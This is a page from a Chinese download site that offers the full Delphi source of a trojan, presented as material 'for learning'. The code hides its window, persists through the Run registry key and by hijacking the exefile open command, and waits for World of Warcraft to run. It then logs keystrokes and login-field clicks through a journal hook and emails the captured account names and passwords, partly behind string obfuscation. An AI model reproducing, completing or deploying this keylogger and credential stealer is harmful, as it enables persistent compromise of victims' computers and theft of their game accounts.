⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unitmain.~pas

📁 一个木马的源程序。希望大家可以一起通过它来学习一此东西
💻 ~PAS
字号:
unit UnitMain;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,UnitSendMail,Registry, ExtCtrls,TLHelp32, StdCtrls, Buttons;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Button1: TButton;
    procedure Timer1Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

Const
  ExeFile='MSSQL.exe';
  DLLFiles='WinMSSQL.DLL';
  KeyMask = $80000000;

var
  Form1: TForm1;
  KeyHook:Integer;
  Hookok:boolean;
  hookkey: string;

  UserID:String;
  InputUserID:boolean;
  UserPSW:String;
  InputUserPSW:boolean;
  computerName:String;
  EMailAddress:String;

implementation

{$R *.dfm}


Function Getsyspath():string;
var
  TmppathP:pchar;
  MaxBuf:Dword;
begin
  MaxBuf:=255;
  Getmem(tmppathP,MaxBuf);
  GetSystemDirectory(tmppathp,MaxBuf);
  Result:=strpas(tmppathp);
  FreeMem(tmppathP);
end;

procedure SetAutoRun;
var
 Myreg:Tregistry;
 Regfilename:String;
begin
Regfilename:=application.ExeName;
Myreg:=Tregistry.Create;
 Try
   Myreg.RootKey:=HKEY_LOCAL_MACHINE;
   Myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run',True);
   Myreg.WriteString('MSSever',Regfilename);

   Myreg.RootKey:=HKEY_CLASSES_ROOT;
   Myreg.OpenKey('\exefile\shell\open\command',True);
   Myreg.WriteString('',Regfilename+' "%1" %*');
 finally
   Myreg.free;
 end;
end;
  {得到计算机名}
function GetComputerNameD:string;
var
  Buffer: array[0..MAX_COMPUTERNAME_LENGTH] of Char;
  BSize:Cardinal;
begin
  BSize:=SizeOf(Buffer);
  if  GetComputerName(Buffer,BSize) then
  begin
    Result:=Buffer;
  end
  else Result:='';
end;


Function GetEMailAddress:string;
var
Myreg:Tregistry;
RegStr:String;
cnt:string;
begin
Myreg:=Tregistry.Create;
Try
   Myreg.RootKey:=HKEY_LOCAL_MACHINE;
   Myreg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\msmt',False);
   RegStr:=Myreg.ReadString('em');
finally
   Myreg.free;
end;
result:=RegStr;
end;


function DeStr(s:String):string;
var
  i:integer;
  temp:String;
begin
  Result:='';
  for i:=1 to length(s) do
  begin
    temp:=copy(s,i,1);
    Result:=Result+chr(ord(temp[1])-1);
  end;
end;

function IsMs:Integer;
var
    isOK:Boolean;
    ProcessHandle:Thandle;
    ProcessStruct:TProcessEntry32;
begin
     Result:=0;
     ProcessHandle:=createtoolhelp32snapshot(Th32cs_snapprocess,0);
     processStruct.dwSize:=sizeof(ProcessStruct);
     isOK:=process32first(ProcessHandle,ProcessStruct);
     while isOK do
     begin
	      if UpperCase(ExtractFilename(ProcessStruct.szExeFile))=UpperCase('WOW.EXE') then//进程名-------------------1
        begin
          Result:=ProcessStruct.th32ProcessID;
          Break;
        end;
	      isOK:=process32next(ProcessHandle,ProcessStruct);
     end;
     CloseHandle(ProcessHandle);
end;


procedure show_numberpassword(QQnumber,QQPws:string);
var
  dc:thandle;
  Str:string;
  F:textfile;
  dnshost:String;
  SendMail:TSendMail;
begin

  if (QQnumber='') or (QQPws='') then exit;

  Str:='帐号:'+QQnumber+chr(13)+chr(10);
  Str:=Str+'密码:'+QQPws+chr(13)+chr(10);

  //AssignFile(F,'c:\tem.txt');
  //Rewrite(F);
  //writeln(F,Str);
  //Closefile(F);

  str:=str+chr(13)+chr(10)+chr(13)+chr(10);
  str:=str+DeStr('Hfu!uif!Bddpvout!gspn!')+ComputerName+DeStr('!bu!')+datetimetostr(date)+' '+timetostr(time)+chr(13)+chr(10)+chr(13)+chr(10);

  SendMail:=TSendMail.Create;
  SendMail.SendMail(EMailAddress,'磨兽邮件',str);
end;


procedure LogoMouse(Wpa,Lpa:integer);
var
    Rect:TRect; Cpoint:Tpoint;
Begin
  if (Wpa=$0201) then begin //WM_LBUTTONDOWN

    getcursorpos(Cpoint);

    Rect.Left :=350;
    Rect.Top :=303;
    Rect.Right :=465;
    Rect.Bottom :=325;
    if (ptinrect(Rect,Cpoint)) then begin
      UserID:='';
      InputUserID:=True;
      InputUserPSW:=false;
      hookkey:='';
    end;

    Rect.Left :=350;
    Rect.Top :=361;
    Rect.Right :=465;
    Rect.Bottom :=380;
    if (ptinrect(Rect,Cpoint)) then begin
      UserID:=hookkey;
      UserPSW:='';
      InputUserPSW:=True;
      InputUserID:=false;
      hookkey:='';
    end;

    Rect.Left :=350;
    Rect.Top :=415;
    Rect.Right :=465;
    Rect.Bottom :=432;
    if (ptinrect(Rect,Cpoint)) then begin
      hookkey:='';
      show_numberpassword(UserID, UserPSW);
      Hookok:=False;
    end;

  end;
end;

procedure LogoKey(Lpa,Wpa:integer);
var
  PEvt: ^EVENTMSG;
  ch: Char;
  vKey: Integer;
  iCapital, iNumLock, iShift: Integer;
  bShift, bCapital, bNumLock: Boolean;
  str: array[0..12] of Char;
  FocusWnd: HWND;
	function Keyhookresult(lP: integer; wP: integer): boolean;
  begin
  	result:=false;
  	if lP=7181 then //: key := '#13';//result := '[Enter]';
    	result:=true;
  end;
Begin
 	if Keyhookresult(peventMsg(Lpa)^.paramL,peventMsg(Lpa)^.paramH) then begin  //((Lpa and $80000000)=0) and (Wpa=13) // and (n=2) and (getfocus=PWhand)
      hookkey:='';
      show_numberpassword(UserID, UserPSW);
      InputUserID:=true;
      InputUserPSW:=false;
      Hookok:=False;
      Exit;
 	end;


    pEvt := Pointer(DWord(Lpa));
    if pEvt.message = $0100 then
    begin
      vKey := LOBYTE(pEvt.paramL);
      iShift := GetKeyState($10);
      iCapital := GetKeyState($14);
      iNumLock := GetKeyState($90);
      bShift := ((iShift and KeyMask) = KeyMask);
      bCapital := ((iCapital and 1) = 1);
      bNumLock := ((iNumLock and 1) = 1);
      if Length(hookkey)>255 then Delete(hookkey,1,100);
      if ((vKey >= 48) and (vKey <= 57)) then
      begin
        if not bShift then
        begin
          ch := Char(vKey);
        end else begin
          case vKey of
            48: ch := ')';
            49: ch := '!';
            50: ch := '@';
            51: ch := '#';
            52: ch := '$';
            53: ch := '%';
            54: ch := '^';
            55: ch := '&';
            56: ch := '*';
            57: ch := '(';
          end;
        end;
        hookkey := hookkey + ch;
      end;
      if (vKey >= 65) and (vKey <= 90) then // A-Z a-z
      begin
        if not bCapital then
        begin
          if bShift then
            ch := Char(vKey)
          else
            ch := Char(vKey + 32);
        end
        else begin
          if bShift then
            ch := Char(vKey + 32)
          else
            ch := Char(vKey);
        end;
        hookkey := hookkey + ch;
      end;
      if (vKey >= 96) and (vKey <= 105) then // 小键盘0-9
        if bNumLock then
          hookkey := hookkey + Char(vKey - 96 + 48);
      ch := 'n';
      if (VKey > 105) and (VKey <= 111) then
      begin
        case vKey of
          106: ch := '*';
          107: ch := '+';
          109: ch := '-';
          111: ch := '/';
        else
          ch := 'n';
        end;
      end;
      if (vKey >= 186) and (vKey <= 222) then // 其他键
      begin
        case vKey of
          186: if not bShift then ch := ';' else ch := ':';
          187: if not bShift then ch := '=' else ch := '+';
          188: if not bShift then ch := ',' else ch := '<';
          189: if not bShift then ch := '-' else ch := '_';
          190: if not bShift then ch := '.' else ch := '>';
          191: if not bShift then ch := '/' else ch := '?';
          192: if not bShift then ch := '`' else ch := '~';
          219: if not bShift then ch := '[' else ch := '{';
          220: if not bShift then ch := '\' else ch := '|';
          221: if not bShift then ch := ']' else ch := '}';
          222: if not bShift then ch := Char(27) else ch := '"';
        else
          ch := 'n';
        end;
      end;
      if ch <> 'n' then
        hookkey := hookkey + ch;

      // if (wParam >=112 && wParam<=123) // 功能键   [F1]-[F12]
      if (vKey >= 8) and (vKey <= 46) then //方向键
      begin
        ch := ' ';
        case vKey of
          8: str := '[退格]';
          9: str := '';//[TAB]
          13: str := '[Enter]';
          32: str := '[空格]';
          33: str := '[PageUp]';
          34: str := '[PageDown]';
          35: str := '[End]';
          36: str := '[Home]';
          37: str := '[LF]';
          38: str := '[UF]';
          39: str := '[RF]';
          40: str := '[DF]';
          45: str := '[Insert]';
          46: str := '[Delete]';
        else
          ch := 'n';
        end;
        if ch <> 'n' then
        begin
          hookkey := hookkey + str;
        end;
      end;
    end;

    if vKey=9 then begin
      if InputUserPSW=false then begin
        InputUserPSW:=true;
        InputUserID:=false;
        UserID:=hookkey;
        hookkey:='';
      end
      else begin
        InputUserPSW:=false;
        InputUserID:=true;
        hookkey:='';
      end;
    end;

    if InputUserID=True then
          UserID:=hookkey
        else if InputUserPSW=true then
          UserPSW:=hookkey;

           
End;

function isms_window:boolean;
begin
  if findwindow('GxWindowClassD3d',nil)=GetForegroundWindow then
  result:=true
  else result:=false;
end;

function KeyProc(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;
var i:integer;
Begin
  if iCode<0 Then Result:=CallNextHookEx(KeyHook,iCode,wParam,lParam);
  if isms_window and Hookok then begin
  if (PEventMsg(lparam)^.message =$0100) then begin// WM_KEYDOWN     or (PEventMsg(lparam)^.message =$0101) WM_KEYUP
  	LogoKey(lParam, wParam);
  end else if (PEventMsg(lparam)^.message =$0201) then begin //WM_LBUTTONUP $0202
    LogoMouse(peventMsg(lparam)^.message, peventmsg(lparam)^.message);
  end;
  end;
End;

procedure TForm1.Timer1Timer(Sender: TObject);
var
 i:integer;
 ServerName,ZB:string;
 ok:boolean;
begin
if (IsMs<>0) then
begin
  if KeyHook<>0 then
    if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;
  KeyHook:=SetWindowsHookEx(WH_JOURNALRECORD,Keyproc,HInstance,0);
end else begin
 Hookok:=true;
 hookkey:='';
 if KeyHook<>0 then
  if UnhookwindowsHookEx(KeyHook) then KeyHook:=0;
end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
application.ShowMainForm:=False;
Hookok:=true;
SetAutoRun;
EMailAddress:=GetEMailAddress;
computerName:=GetComputerNameD;
end;


procedure TForm1.Button1Click(Sender: TObject);
var
SendMail:TSendMail;
begin
  //SendMail:=TSendMail.Create;
  //SendMail.SendMail('webmaster@codesky.net','磨兽邮件','str');
end;

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -